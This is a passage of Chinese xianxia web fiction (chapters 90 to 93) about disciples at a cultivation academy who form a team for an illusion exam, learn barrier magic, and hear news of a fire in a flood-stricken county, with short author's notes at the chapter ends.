楚悯姗姗来迟,从江却身后探出个脑袋:“大家怎么站在门口?” 叶泯听见熟悉的声音,也从谭一筠身后探出半个身子,声音开朗得像是他乡遇故知:“楚姑娘!” 关云铮忍无可忍,“噌”地起身,在众人疑惑的目光中微笑道:“先吃饭吧。” 寒暄的话能不能待会儿再说,她虽然肚子没叫,但也快饿死了。 **** 章存舒不在,李演这顿也不在饭堂吃,餐桌上只剩下一群小辈,男女分开坐在长桌两侧。 关云铮和楚悯连映坐在一起自在许多,照例跟楚悯说小话:“听师父说,苏修士让你听风,听出什么了吗?” 楚悯摇摇头。 关云铮继续小声说:“她没同你说究竟想让你从中听出什么吗?” 楚悯叹了口气:“我方才还问了一句,她说没有‘她想让我听出什么’这回事,只有‘我能从中听出什么’。” 关云铮一脸麻木,她这个应试教育出身的人真的无法适应这种教学模式。 坐在对面的叶泯小心翼翼地开口:“楚姑娘。” 楚悯和关云铮一同抬起头。 叶泯看起来恨不得举起双手以示自己毫无攻击性,语速飞快地说:“方才听你们说起听风,并非是有意偷听,只是音修的耳力……” 关云铮思忖了片刻,是不是自己脸上的表情太吓人了:“我也没说你偷听……你也不用这么小心翼翼的。” 怎么跟被人夺舍了似的,和小悯之前形容的完全不同。 难道这人有分离焦虑? 关云铮收回视线,默默吃饭。 楚悯暂时搁下筷子:“其实我正打算问你。” 叶泯疑惑:“问我?听风的话,我也说不出来究竟是要听什么,当时只是知道有些音修会以此种方式修炼听感,但我不曾尝试过。” “听风此事,想来日后听得多了,我会逐渐领会的。我想问的是破妄之事。”楚悯解释道。 叶泯也放下了筷子:“破妄?你不是才学琴没几日?怎么就开始考虑破妄了?” 关云铮默默在心里吐槽:因为某大佬导师喜欢push学生。 楚悯也叹了口气,但没有抱怨的意思,只是问道:“破妄究竟是破除何种妄念?” 叶泯思索着:“对于音修而言,应该是指破开各种声音的表象,去追寻本质,或者音律。”他举了个例子,“比如瀑布的水流声中,冲击碰撞的杂音更多,摒除这些杂音听到水的旋律,便是一种破妄。” 楚悯明白了:“多谢。” 叶泯摇摇头:“我在音修一道上才疏学浅,只是根据自己的理解说上几句。” 原本一直打算安静吃饭的关云铮幽幽道:“诸位,日后我们还要共同度过幻境考察,你们就打算这样客气来客气去地过完这一年吗?” 四人中最喜欢“客气来客气去”的谭一筠咳了声:“在外总要守正自持,不然岂不败坏师门名声?” 关云铮差点被他忽悠得开始反思自己在外的言行举止。 一直听着几人对话的闻越笑出声:“你们师父与我们师父是熟识,要有什么败坏名声的事,他们那一辈早都互相抖落干净了,哪轮得到我们这辈。” 这下一直沉默的江却也咳了声:“小越说得对。”—— 作者有话说:此菇写着写着忽然喘不上来气了,定睛一看原来是收藏狂跌,末点也死了[爆哭] 好心读者救一救啊呜呜呜,不要囤这个菇[爆哭] 90-100 第91章 一顿饭在熟稔与尴尬掺杂的氛围中吃到尾声, 几乎餐餐不落的章存舒姗姗来迟,关云铮见了他“哎呀”一声,习惯性没大没小:“师父你去哪了, 饭菜都凉了。” 章存舒在桌边坐下:“去了山下一趟, 已经吃过了。” 捕捉到关键词的闻越猛地抬头:“师父你怎么去山下不告诉我?”他吃着碗里的想着锅里的,“我也想吃山下的饭菜。” 章存舒抬手敲了敲桌面, 解释道:“托山下一位工匠做了这张长桌, 你们院子里的石桌也都换了。”他又从乾坤袋里摸出一个油纸包,“云吞摊摊主研究的新式点心,给你带上来了。不过我看李厨做的饭菜你也没少吃,还吃得下这点心吗?” 闻越顿时埋头,飞速把碗里的饭菜扒干净了,随即朝章存舒伸出手。 关云铮其实也吃不下点心了, 但因为章存舒说是云吞摊摊主做的,又实在很馋, 只能眼巴巴地看着闻越拆开那个油纸包,里头随即散发出一股熟悉的香味。 她下意识探头往那边看了眼:“诶?南瓜饼?” 闻越正打算分她一个, 却见她光速坐回去正襟危坐道:“吃不下了, 师兄吃吧。” 她前后反差的样子引得楚悯好奇起来:“怎么了,以前吃过?” 关云铮点点头,仗着对面几位这会儿都在听章存舒说话, 没人注意这边, 凑到楚悯耳边用气声说:“以前和朋友们出去吃饭,每次都点,每次都留到最后,一口也吃不下。” 楚悯笑起来:“若是下次下山,可以在饭前去尝尝。” 就是不知道下次下山得是何时了, 关云铮在心里叹了口气。 章存舒不知同谭一筠和叶泯说了些什么,几人忽然都看了过来,感觉到目光的关云铮转过头,不明所以:“这是在说幻境考察的事?” 谭一筠和叶泯一同点点头。 关云铮更困惑了:“那为何都在看我?” 章存舒笑而不语,贯彻谜语人人设到底,还是谭一筠打破氛围,委婉提醒道:“只是忽然发觉,若要合作通过幻境考察的话,关姑娘是我们四人之中唯一的剑修。” 真是晴天霹雳一般的噩耗。 关云铮沉默片刻,以一种抓住求生稻草般的目光看向叶泯:“你不是用一截短鞭接住了蒲先生的剑招吗?到时进了幻境,应当也能派上用场?” 叶泯对她露出一个爱莫能助的悲惨笑容:“那只是因为短鞭质地坚硬,我又有几分蛮力,才能接住,实则我只会用长鞭卷起轻巧些的物件,”他说到这意识到自己所说有疏漏,看了眼楚悯又补充道,“之前能用鞭子接住楚姑娘,纯粹是……” 关云铮不死心地追问:“是……?” 叶泯长叹一口气:“是我运气好。” 悬着的心终于是死了。 但双重打击之下,她又诡异地想出了他们这个组合打通幻境考察副本的可能性:三拐一嘛,这个她擅长啊! 音修可以给敌方上debuff或者给己方上buff,那就是小悯给她拉条,叶泯给敌方推条,谭一筠的法器有术阵,那就是加伤或者给盾,这波岂不是稳了? 好吧其实是她疯了。 虽说三大名拐带条狗都能打通高难副本,但是这三个拐里有两个都是未完全养成体。 意思是楚悯和叶泯都是半吊子音修。 没有说她自己不是半吊子剑修的意思,实际上她觉得自己连半吊子都够不上,顶多四分之一吊子。 关云铮在脑内一阵胡编乱造胡言乱语,终于勉强把自己崩了的心态调整回来了,平静说道:“幻境考察应当会考验多方能力,只我一个是剑修也无妨,大家可以齐心协力,共渡难关。” 闻越惊恐地放下手里的南瓜饼:“方才说话的那位是谁?把我们师妹的魂魄还回来。” 关云铮本就在强撑冷静,说些冠冕堂皇的话只不过是为了阻止自己把心里话脱口而出。闻越这一句险些把她不堪一击的防线毁于一旦,她艰难地维持住自己脸上的镇静,手上飞快地用筷子从油纸包里夺过最后一个南瓜饼:“我看师兄嘴挺闲的,估计不差这一口,那最后一个就归我了。” 不要小瞧21世纪受气包大学生的报复心,她会在一怒之下抢走别人挚爱的小零食。 然而被抢走零食的闻越心情非常平静:“我还当你不想吃呢,方才热着的时候怎么不吃?” 关云铮泄愤似的咬了一口南瓜饼,幽幽道:“真的很想把师兄也一起带进半月后的幻境考察。” 闻越顿时大惊失色:“你要杀了我吗?” 旁听了这一会儿的叶泯和谭一筠终于忍不住,笑出声来。 **** 课程安排调整后的第一堂术法课,与蒲飞鸢和褚鹤贤不同,步雁山没让他们继续巩固先前学过的术法,也没让弟子们继续在练武场露天学习,而是让人互相传递消息,今后的术法课改为在学堂进行。 仍在苍生道饭堂的四人收到的消息自然是章存舒转达的,关云铮被转告后,一边疑惑着怎么忽然更换上课地点,一边和楚悯走在谭一筠和叶泯前方,四人拉帮结派似的,一同往学堂的方向走。 不同于练武场居于归墟的中心,学堂位于偏僻一角,不论从哪个地方而来都有些距离,还容易撞上一些不速之客。 比如复学前才被她缴了械的欠打哥。 赵乾达拐过一处拐角,正好撞见关云铮,一时间新仇旧恨一起涌上心头,当下便要出言挑衅。 关云铮自然当没看见此人,神色如常地转过拐角继续往学堂走;楚悯更是习惯性视他如无物,甚至还在此人现身后有意无意地掸了掸自己袖上的灰。 赵乾达是个心眼比针眼还小的,见了楚悯的动作自然要往最坏的地方想,登时便要发作,却见两人拐过转角之后,身后又走出两个人。 谭一筠为人其实很温和,周身又只有一把看着毫无杀伤力的法器折扇,不熟悉他的人初次见到他,大概都会建立一个好说话的初印象。叶泯这两日则更是在人生地不熟与犯了错的双重加持之下,表现得异常乖巧,与在灵兽派开口呛长老时几乎是判若两人。 ——是以此二人虽身量不短,但看着几乎没什么威慑力。 赵乾达见着这两人,嚣张的气焰却顿时短下去一截。 关云铮还没把这人彻底甩到身后,余光看见他神色转变,略感惊讶地一回头,便见谭一筠和叶泯正一头雾水地看向赵乾达,两方视线在空中无声地交锋。 虽然很可能只是赵乾达单方面认为的交锋。 关云铮挑起眉头:总不能赵乾达欺负人只是单纯觉得姑娘家好欺负?那她先前还真是对他太客气了? 叶泯初来乍到,做错事后一直提心吊胆的,压根没工夫注意其他同窗,反倒是谭一筠每日气定神闲,没少关注归墟的情状。 总之对视片刻后,谭一筠率先开口道:“这位同窗可有话要说?” 赵乾达神色阴晴不定地盯了几人片刻,率先大步走到前头去了。 叶泯吃过一顿破冰饭后自然许多,见了他这番莫名其妙的架势忍不住问道:“你们与他相熟?” 楚悯平静答道:“不算相熟,只是有仇。” 叶泯皱眉:“跟你们结仇做什么?他闲的?” 对了对了,这个味就对了。 关云铮默默在心里给恢复过来的叶泯竖了个大拇指,扭头解释道:“他也是天问中人,从前就没少挑衅小悯,到了归墟后死性不改,被我当着众人的面指责过,此次复学前还被我缴了武器。” 谭一筠一时不知该先惊讶哪件事,只好逐句困惑道:“楚姑娘的身份……按说不该有人胆敢挑衅才对?关姑娘看起来也不像是会当众令人下不来台的人,至于收缴武器……又是何意?” 关云铮见识过子不语的运作机制后,已经默认谭一筠是个接近于“百晓生”的设定了,听他道破楚悯身份压根不觉得惊讶,只把关于自己的两个问题回答了:“年少气盛的时候总会惹点不该惹的人,要是早知道他这么阴魂不散我当初可能也不会说那么多了,白费口舌,后来哪怕想骂都找不出新词。” 她叹了口气,又说:“收缴武器之事三言两语说不清楚,日后找个机会再说吧。” 说完她看向楚悯,示意她解释一番方才针对她的问题。 谁料楚悯也笑着叹了口气:“挑衅之事三言两语也说不清楚,往后再说吧。” 叶泯默然片刻:“不才教习一月余?怎么你们过得很精彩的样子?” 关云铮和楚悯对视一眼,又一同叹了口气。 **** 今日的术法课学的是结界。 结界虽有专属的名称,但究其本质无非术阵的一种,是以完全归属于步雁山教习的范畴。 结界分为单向结界与双向结界,前者比后者更复杂。 双向结界相当于一堵无需考虑厚度和高度的墙,只要它隔音,多厚多高都无所谓;单向结界考虑的则更为复杂,相当于墙上需要开一扇门,门开多大多高都有讲究。 步雁山选择先从双向结界中最简单的结界教起,也即隔绝声音的结界。 他站在学堂正中,几个看不清的结印手势过后,一个散发着幽幽蓝光的结界就在他手中逐渐铺开,像一层有形的烟雾。 那层烟雾离开他的手掌之后就消失了,颜色淡化至无色,捕捉不到一点残余的痕迹。 原本站在过道正中的步雁山朝右侧迈了一步,张口说了些什么。 位于过道左侧座位的关云铮完全没听见。 步雁山又朝左边迈了两步,朝右侧的学生们说道:“这便是双向结界的阻绝。” 关云铮凑到楚悯耳边说悄悄话:“结界原来没有实体?”毕竟步雁山方才就这样自如地穿过来了。 但如果结界没有实体,结界以及其内部的空间岂非相当于不存在?处在结界内部的人和物又是以什么形式存在的? 步雁山早就走到学堂的另一头去了,按理来说听不见关云铮方才那句悄悄话,此刻却像是在给她解答一般说道:“结界存在实体,但构建结界有一条准则,即不可触碰。” 他在过道之中边走边说:“一旦有人触碰到了结界,这个结界就会崩毁,结界的阻绝也会失灵。” “触碰?”关云铮不解。 步雁山正好走到她身边,顺势为她解答:“一般是因为结界的位置和布置时所用术法泄露,想要摧毁一个结界,位置和术法缺一不可。” “那岂不容易出现熟人作案?”关云铮低声自言自语。 还没走远的步雁山听见了,回头朝她笑了一下:“故而结界的制造者必须将结界一事埋藏于心,不可轻易对人言。” 关云铮皱起眉,想起鬼灯楼那些可以提取记忆与魂魄的香,如果有人强行抽取记忆,牢记于心应当也无济于事? 只不过那是邪修的手段了,运用此种手段去拷问结界的信息,自然也会被打成邪修。 想到这关云铮陡然心虚起来,有种忙着提问,一回头发现自己已经破绽百出的感觉。 步雁山走到学堂正前方,抛砖引玉般地说出今日一课的重点:“诸位之中想必已经有人得知,半月之后归墟将开设第一次幻境考察,几位先生商讨过,希望大家四人一组自行组队合作,明日褚先生的课上,上交队伍的名单。” 在座众人知道幻境考察一事的人不少,但对四人组队有所了解的显然不多,步雁山话音落下后,不少人都在窃窃私语,与附近的同窗低声交流着。 有人甚至已经在此期间环视一圈学堂,看样子是在清点人数。 关云铮作为早就享受师门安排的“小人”,此刻异常低调,只顾着思索步雁山说出这话后,接下来要说些什么。 幻境是否也是一种另类的“结界”? 她还没能凭自己想出个明确的答案,站在最前方的步雁山便又一次洞悉她的想法般,说道:“幻境,也是一种结界,只是二者的有无准则不同。结界若有,即不可触碰,触碰则无;幻境若成,即不可分明,分明则破。”—— 作者有话说:截止这章发布前,分别收到了雷(1)营养液(88)评论(14),按照之前发布的加更规则,计算得出加更字数约合3k,所以之后会有一章加更。 原本我是打算今天把两章一起发出来的,但是这两天工作快忙死了,保守估计明天也同样忙,所以加更的章节大概还是后天。 非常感谢大家的支持[撒花] 第92章 “分明, 即心中分明,一旦处于幻境之中的人意识到幻境为假,幻境即刻破灭, 不得存续。”步雁山接着说道。 两者的概念有些难懂, 关云铮在脑中默默总结着:结界与幻境类似,都是“定义先于存在”, 相反的例子比如苹果, 在人类还没把这种东西叫作“苹果”之前就已经存在,命名之后,“苹果”这一定义也不会改变其存在形式,最多不过多了几种培育品种,多了几种购买价位。 而结界与幻境全都由人制造,是先有定义才有存在。结界的定义是“不可被触碰的空间”, 幻境的定义是“不可被看破的空间”,一旦定义失效, 结界被知情者触碰,幻境被分明者看破, 二者的存在就会被抹灭。 这样看来, 意识到“幻境为假”应当就很有难度了,毕竟违逆了定义之中的准则,既然被称为准则, 想必就像某些规则怪谈, 有时可能没有科学性的逻辑,但必须遵守。 “这堂课先练习结界的造成之法,这期间结界与幻境相似的部分我会一同说明。”在介绍过日后的幻境考察与幻境的概念之后,步雁山再次回到了这堂课最开始的主题。 关云铮也跟着收回了自己纷飞的思绪。 缔造结界的术法很固定,步雁山照例一步一步为他们先行演示, 只在演示到最后时说道:“结界的位置、能容纳多少人、阻绝的特性,都需在心中无比确信地默念一遍,融入术法之后,这些术法才能集体生效。” 关云铮不太明白,看向一边的楚悯:“默念应当是心中无形之物,术法勉强算是口中手中有形之物,如何能融入?” 本来想习惯性说一句这也太唯心了,但她很快又第无数次地意识到:这里是修仙界,唯物主义已经死透透了。 谭一筠坐在二人后排,自然听得见这句话,闻言低声说道:“关姑娘可知言灵?” 学堂虽偏僻,但容纳两批弟子都绰绰有余,体积比21世纪大规模的阶梯教室还要大一些,关云铮不担心站在最前方的步雁山能听见他们的讨论,微微转过身道:“知道,你的意思是这种默念就像是言灵?” 谭一筠笑了笑:“关姑娘所知言灵看来与我所说有些偏差,言语蕴含一个人的情绪、音调,也即一个人的生机,故而在全神贯注之时,言语的力量能够给正在运行的术法、阵法一些加持。” 虽然步雁山听不见动静,但他们还是不敢在课上造次,说话的声音压得比较轻,关云铮听他絮絮低语这一阵简直快要犯困,默不作声地掐了一把自己的大腿,似懂非懂道:“大约可以理解成,音律对术法或招式的加持?” 谭一筠颔首:“可以这么说。” 这样看来,术修、阵修与音修,岂非可融会贯通? 那谁来救救她这个孤独的剑修啊! **** 孤独的剑修终于上完了今日的课。 今日散课散得早,关云铮估摸着这会儿回去李厨还没把饭做好,索性在学堂里赖着没走。 步雁山从学堂最前方走下来时见她没精打采,笑问:“这是怎么了?” 关云铮没抬头,朝他的方向摆了摆手:“为幻境考察发点闲愁罢了,掌门不必在意。” 步雁山顺势在她前排坐下:“怎么不好奇今日为何忽然改为在学堂上课?” 不同于仍处在忧愁中,顾不上好奇的关云铮,一旁的楚悯倒是真的挺好奇的:“原来真是事出有因?” 步雁山失笑:“难道小悯以为只是我一时兴起?”他示意“留堂”的四人看向学堂的窗外,“因为要下雨了。” 原本还把头埋在胳膊里的关云铮猛地抬头,看见窗外当真飘起雨丝来。 “归墟真的会下雨……”她忍不住喃喃道。 她还以为护山大阵下的归墟就像人造温室,恒温恒湿,没有雨水,没有强度过高的光照,原来真的会下雨…… 她捕捉到一股泥土的气息,是连日干旱后下雨时,土壤中的有机物分解产生的味道,她隐约记得自己看过一篇专门科普这个味道的公众号文章,这种化学物质叫什么来着…… 这次她没能听见将隐转动时的“咔哒”声,问题的答案却突兀地跳到了她的脑海——土臭素。 关云铮皱起眉头,下意识伸手,想把乾坤袋里的将隐翻出来,却听见身后的谭一筠说道:“这雨……方才那些同窗该不会被淋湿吧?” 叶泯靠在后排的书桌上随口道:“别人算了,来时路上莫名其妙的那位,且让他淋一阵。” 这话来得毫无预兆,楚悯被逗得笑出声,坐在最前方书桌边的步雁山若有所思:“是先前课上被云崽禁言的那名弟子?” 关云铮其实懒得谈论赵乾达,总觉得徒费口舌,他主动惹到面前搭理两次,已是很有耐心,平日里根本想都不会想起。 但话赶话说到这,她作为禁言术的发起者只能开口接话:“是他,复学前我与小悯在瀑布边练习术法也遇到他了,额……” 她迟来地意识到此事或许不太适合同步雁山说,但话茬已经秃噜出去了,不继续说下去只会显得突兀,只好迎着步雁山好奇的视线,硬着头皮说道:“他非要与我和小悯比一比此次下山寻来的武器孰优孰劣,我……一时冲动,用‘剑来’把他的剑召到了手上。” 步雁山一愣,随即朗声大笑起来:“这有什么不能说与我听的?” 关云铮心虚:“这不是,与同窗之间不怎么和谐……他寻衅滋事,到头来我比他还恶劣些。” 不太适合说与光风霁月的掌门听。 虽然她现在说的也不是真心话就是了。 缴械真爽,下次还缴。 步雁山收敛笑意,正色道:“我相信你们都能判断遇见之人是否心存恶意,据此做出正确的决断。” 他说的是“你们”,不是仅针对关云铮的“你”,故而话音一落,两排四人顿时全都正襟危坐起来。 莫名被寄予厚望的四人同时感到一阵头皮发紧。 “好了,我在这你们有许多话怕是不方便说,便先行一步了。”步雁山难得“说教”,没再多说便起身离开了。 虽然步雁山已经是在座四人长这么大见过的老师里,数一数二温和的了,但方才他正色的样子还是令人大气不敢喘一声,待他的身影消失在窗外,四人才放松下来,顿时在书桌上歪倒一片。 叶泯纯粹是在别人家地盘上有所顾忌,实际自己的行事风格比关云铮莽撞多了,只听他在后排说:“关姑娘只是缴了那人的械,既没言语辱骂又没动手,我看无需心虚。” 关云铮略微转身看他:“自然是比不得叶兄,胆识过人。” 原本沉默的楚悯和谭一筠:“噗。” 连悬在一边的子不语都有了些许动静,关云铮余光里注意到异常,一抬眼,就见子不语的扇面上浮现出几个字:“倒也值当攀比。” 关云铮迟疑地伸手指向子不语,看向谭一筠问道:“它是在阴阳怪气吗?” **** 子不语究竟是不是在阴阳她,关云铮不知道,她只知道这折扇已经彻底忘本了。 虽然它曾经的主人也不是她,而是她的师父章存舒。 “它有器灵?”关云铮被它自发浮现出的字惊着了,问完那句话后,指着扇子又语塞了半天才冒出这么一句。 谭一筠颔首:“是我突破金丹后形成的,现今只会这样简单地浮现出几个字,没有其他特殊之处。” 一旁的叶泯语气比关云铮还要难以置信:“你已经突破金丹了?” 谭一筠咳了一声,点点头。 关云铮起身就要走:“合作终止,我自卑心发作了。” 楚悯被她逗笑:“那我也快要金丹了呀。” 关云铮本也只是开玩笑活跃氛围,闻言立刻就坡下驴坐回来:“小悯强大即我强大。” 谭一筠笑叹道:“既然是合作关系,我若强大岂非也即关姑娘强大?” 关云铮决绝地摇了摇头:“别说这种话了。”还没等谭一筠改口,她光速变脸道,“不如说说你是怎么突破金丹的,正好给小悯些帮助。” “境界的突破需讲求机缘。”谭一筠回答道。 坐在他身侧的叶泯“啧”了一声:“说人话,谭兄。” 谭一筠笑了一声,摊开双手:“我也不知是如何突破的。” 期盼着正经回答的关云铮与他对视半晌,再度起身要走。 楚悯这回伸手把她拉住了:“既然现下大家都有闲暇,李厨也还没做完饭菜,不如把课前那些问题先说清楚了?” 作为提出这话题的人,楚悯率先说道:“赵乾达,也就是路上与你们二位对视那人,确乎是天问弟子,但他母亲是普通人。” 关云铮不明所以:“普通人……怎么了?” 似乎与他连番挑衅一事无关吧。 “他十岁以前都长在盈都峰山下的镇子里,不知自己父亲的存在。”楚悯接着说道。 叶泯皱眉:“他父亲也是天问中人?” 楚悯颔首。 谭一筠也皱起眉头:“难道……抛妻弃子?” 楚悯再度点了点头。 关云铮面色复杂:“十岁之后发生了何事?他自那时起便被接回天问了?” 楚悯叹了口气:“他父亲为那年的天问卜算出了一件大事,很快死于‘代价’,天问便着人将赵乾达的母亲和他一起接回天问。” 关云铮总觉得楚悯的语气听着不太妙,迟疑着问道:“回天问的路上出事了?” 楚悯第三次点了点头。 “他母亲体弱多病,在路上便去世了,他也就成了孤儿。” 余下三人陷入沉默。 “他挑衅我时大约不知我是掌门之女,也或许他对此心知肚明,但正是此事令他愤怒,故而总是存心挑衅。”楚悯继续说,又见关云铮脸色不好,解释道,“云崽你无需……” 关云铮像是提早预见她要说些什么似的,忽而开口道:“我不会因为他的身世便原谅他如今的行径,因为他的悲惨不是你我造成的,我们不该为此负责。他的顽劣与他的过往固然息息相关,但我们同样无辜,不该承受他的顽劣。” 子不语的扇面又是一闪,四人一同看过去,只见它“说”:“正解。” 叶泯失笑:“话都让这法器说了。” 谭一筠笑道:“关姑娘说得对,没有任何一个无关的人该为他人的际遇负责。”—— 作者有话说:这章是加更 17号的时候这章还只有不到3k,今天就到了3.5k,大家好热情捏[撒花] 感谢大家的支持[亲亲] 第93章 楚悯说完了自己与赵乾达“结仇”的经过, 关云铮又在步雁山面前解释了自己复学前缴了赵乾达佩剑一事,两人在抵达学堂之前提起的需要“日后再说”的话题都已经讨论结束,估算着到现在李演也快把饭菜准备好了, 四人离开学堂往苍生道院走。 谭一筠有些犹豫:“我辟谷已久……” 关云铮听出他的潜台词, 故意曲解他的意思,随口问道:“怎么, 李厨做菜不好吃?” “自然不是。”谭一筠立刻答道。 “那就去吃呗, 师父都特地换了更大的饭桌,不就是为了接待或许会来的客人?”关云铮回头看向谭一筠和叶泯,“譬如你们二位。” 楚悯走在关云铮身侧,闻言点点头:“李厨若是不愿意招待,会撂挑子不干的,无需忧心。” 走在她后方的叶泯:“?” 他沉默片刻后艰难道:“怎么感觉几日的工夫, 楚姑娘变化许多。” 关云铮摆摆手,苦大仇深地叹了一口气:“你若是像我们一样经历这诸多跌宕, 小悯也得对你刮目相看。” 虽然这两天来,他展露出的性格与先前小悯所说所去甚远, 已经让人有些“刮目相看”了。 叶泯连连摇头, 恨不得全身上下一同用力,抗拒所谓“跌宕”的生活:“不必了,我这两日已经够心惊肉跳了。” 楚悯没参与上午的武器课, 闻言不明所以, 还以为他只是说灵犀走失一事,可此事倒也不至于有这样大的反应,毕竟经过虽然令人胆战心惊,但并未造成多么严重的后果,章先生也不曾计较……她看向走在自己身侧的关云铮, 眼神带上几分探究的意味。 关云铮很想同她描述一番上午传音符里那些动静,可这毕竟是别人的家事,当事人还走在她们身后,而且当时她分明已经走远了,按说不该听见全程。 ——总之为了照顾叶泯的面子,暂且不说吧。 她回以一个意味深长的笑,又轻微地摇了摇头。 楚悯会意地收回视线。 下过雨后的归墟与往日截然不同,就像是平静的湖泊忽然起了涟漪,呆板的景色平添几分意趣。拂在人身上的风掺着水汽,呼吸之间还能嗅到草木的气息。 抬眼望去,几座山的山腰都缠绕着尚未完全散去的云雾,像是“云山雾绕”一词的实景。 关云铮一天之内第二次带着同窗回师门吃饭,原本会留下吃饭的李演不知为何,这几餐都是做完饭菜就走,此次终于在桌边坐下:“你们四人合作之事已经定下了?” 楚悯点点头:“定下了,辛苦李厨了。” 李演起先还不明所以,抬起头后才意识到她在说什么:“不过多加几道菜,况且这几日你们师兄师姐都不在归墟。” 关云铮原本还在边吃边放空,听见这句一时没反应过来,茫然道:“师兄师姐不在?” 午间吃饭不还都在吗? “事发突然,应当是南边洪灾一事,他们随你师父一道去帮忙。”李演解答道。 关云铮停住手头的动作,差点脱口问怎么大家都没提前同她说一声,只是很快又意识到其实也没有什么对她说的必要,把涌到嘴边的话又咽了回去。 她的意见总归不会使他们改变决定,毕竟洪灾一事确实需要施以援手,告知与否似乎都无伤大雅。 谁料还没等她在颅内走完“内耗→反思自我→习惯性地为他人开脱”这一套完整流程,李演忽然说道:“你师父走得匆忙,原本想告诉你,但又怕打扰你听课,说你最近给自己太多压力,没多说便走了。” 关云铮手中的筷子被碗里的米饭绊倒,她正不知道说些什么好,李演又说:“苍生道几位弟子很少离开归墟,除了你三师兄,其他人身上都没有灵牒,传信自然会少些便利,不过你师父应当给你留了信,饭后记得回院子里找找。” **** 没有师兄师姐们在,吃饭都少了好些乐趣,关云铮和楚悯吃过饭,同不住在一处的谭一筠和叶泯道别,沿着游廊一路走回自己院中。 楚悯轻轻叹了口气:“不知柳相是否正在南边,章先生应当是去帮她的忙?” 她们虽然与苍韫桢和柳卿知有过一些接触,但对二人在朝廷中的职责一概不是很清楚,对当下民间有些什么疾苦更是恍然未知,虽尚未一心只读圣贤书,但当真快要两耳不闻窗外事。 关云铮摇摇头:“也不知道危不危险……” 毕竟有灾殃就会有祸乱,天灾也总是伴随着人祸…… 两人尚未走到院中,便发觉石桌当真大了一圈,现下围坐八人都不成问题,桌上还用倒扣的空茶盏压着一封信。 楚悯侧过身:“章先生留的?” 关云铮上前移开茶盏,看完信后皱起眉,把信递给楚悯:“不是师父留的。” 楚悯垂眼飞快看了一遍信上内容,虽然没有落款,但根据信的内容和口吻来看,这信极大可能是……苍韫桢传来的。 “柳相所在的江县起火?灾民所在的聚集之处被烧了个干净?”信上寥寥几行字看得楚悯心惊肉跳,“苍……她应当在宫中才对,又是如何得知这些的?” 起火……灾民…… 关云铮站在桌边一动不动,总觉得自己脑海中有什么东西不止一次地快速闪过,像蛛丝一样捕捉不到痕迹。 是什么……她没能想起来的究竟是什么…… 对了,将隐。她伸出手从怀里拿出乾坤袋,从中把将隐取出来,放在手心仔细端详。 现下她这么想知道这个问题的答案,为什么将隐就是不转呢?难道这东西当真听她的话,说不让转就不转了? 她的神色无端焦灼,站在一旁的楚悯关切道:“云崽,将隐怎么了?” 关云铮简直想把轮盘卸下来看看到底怎么一回事:“今早摇羽同我说,昨夜我又有灵气波动,我疑心是将隐的原因,但它今日一整天,我想回溯记忆时都没有转……” 咔哒。 关云铮的话音被这一声惊断了。 “它转了。”关云铮喃喃自语,随即目光闪烁着抬起头来。 “你想起什么了?”楚悯读懂了她的弦外之音。 “我昨夜,似乎梦见了江县的那场大火。” **** 江县的火带走了柳卿知和陆识微搭建起来的窝棚,但也带来了几个意料之外的来客。 柳卿知回到她在江县的住处时,正看见章存舒和他的弟子们站在门外一角,一时有些怀疑自己不是在江县而是在归墟,此处不是人间炼狱,而是世外桃源。 “你们怎么来了?”柳卿知还没走近便问道,转念又想起什么,“她给你传信了?” 章存舒颔首:“是传了信,但我看,这场大火似乎并不在你二人的意料之外?” 闻越在一旁瞪圆了眼睛:“既不在意料之外为何不阻拦?” 连映笑眯眯地扯着他袖子把他拽到自己身后:“师父,不如您和柳相先谈事,我和阿却小越四处看看,有没有帮得上忙的。” 章存舒摆摆手:“去吧,记得回来吃饭。” 闻越被江却和连映左一个右一个地架走了。 柳卿知收敛起在小辈面前的温和,脸上的笑意褪去:“消息应当没那么快传回朝安,难道洞玄规则的缔造者能得知持有者的情状?” 章存舒肚中并未揣着几两明白,故而装起糊涂来十分得心应手:“我只是个剑不成器不就的闲散修士,洞玄那样的惊世法器,实非我能了解的。” 柳卿知不是苍韫桢,不是能时常开玩笑的人,章存舒只装傻充愣了这么一句,很快收起玩笑的语气,说道:“看你的意思,你二人应当不曾在江县设下传信之处,洞玄并无传信之能,不应当是它在其中起的作用。” 他停顿片刻,又说:“纵火者可抓到了?” 柳卿知看了他一眼:“那不重要。” 章存舒不由得挑起眉头。 柳卿知很快又解释了一句:“我有准备,并无伤亡,纵火者来去不过就那些人,懒得在这时候同他们费口舌。” 章存舒想起她离开朝安之前做的“本职工作”:“洞玄给了涉案之人名单?” 柳卿知颔首。 章存舒恍然:“你早有杀人之心,只不过需要一个足够说服众人的由头,所以哪怕料到这场大火,也没阻拦?”他失笑,“柳相,当真不怕世人说你不择手段?这可是把民众的性命当做你计划的筹码,到时脊梁骨都得被戳断。” 不同于方才,这次柳卿知没为自己辩解:“若当真有民众伤亡,我百死难赎。至于骂名,用不择手段这说辞指着我骂的屡见不鲜,我早已习惯了,不差江县。” 见她浑然不在意,章存舒也没再多言,又提起先前的话题,问道:“你们不觉得自己过多依赖于仙门法器了?洞玄毕竟来路不明。” 柳卿知笑了:“你自己不就是仙门的,怎么说这话?”她反问完又答,“自然不可过于依赖,所以我来了,看看它说的究竟是真是假。” **** “信中未曾提及江县的大火是何时烧起来的,但我总觉得我梦里的那场火先于实际,是预知梦。”关云铮一手握着将隐,另一手压着那张信纸,思虑片刻后这样说道。 “你觉得不是预知梦的话,无法达到灵气波动的程度?”楚悯顺着她的话问。 摇羽作为昨夜亲历灵气波动的当事人早就出鞘了,此刻正安然待在石桌上,听二人分析到此,插话道:“将隐不应当只能向后回溯?怎么还能向前推演?” 关云铮也想知道这个问题的答案,况且她怀疑昨夜根本不是将隐转动导致的预知梦。 现在要解决的主要问题是:一,昨夜的预知梦是否是灵气波动的具象化;二,灵气波动究竟是否是将隐运作导致的。 “应当不能向前推演……卜算一事,越是精细或庞大,需要承担的代价也就越大,譬如卜算江县未来的命数,需付出的代价远不及卜算众仙门未来的命数;卜算江县何时会烧起这场大火,代价比江县是否会出现祸事来得大。天问不会制作这样的法器,更别说还是我父亲做出来赠与云崽的,故而不可能是将隐。”专业对口的楚悯这般解释道。 摇羽听得晕头转向:“我只是依稀记得,从前主人还活着的时候,仙门做出过一个可以推演万事万物的法器。” 关云铮和楚悯下意识对视一眼,都在彼此眼中看到了相似的情绪。 难道摇羽指的是,那个可以探查出灵根和天赋,甚至能照出识海的法器? 关云铮追问:“你说的那个法器是否能够照出修士的识海?” 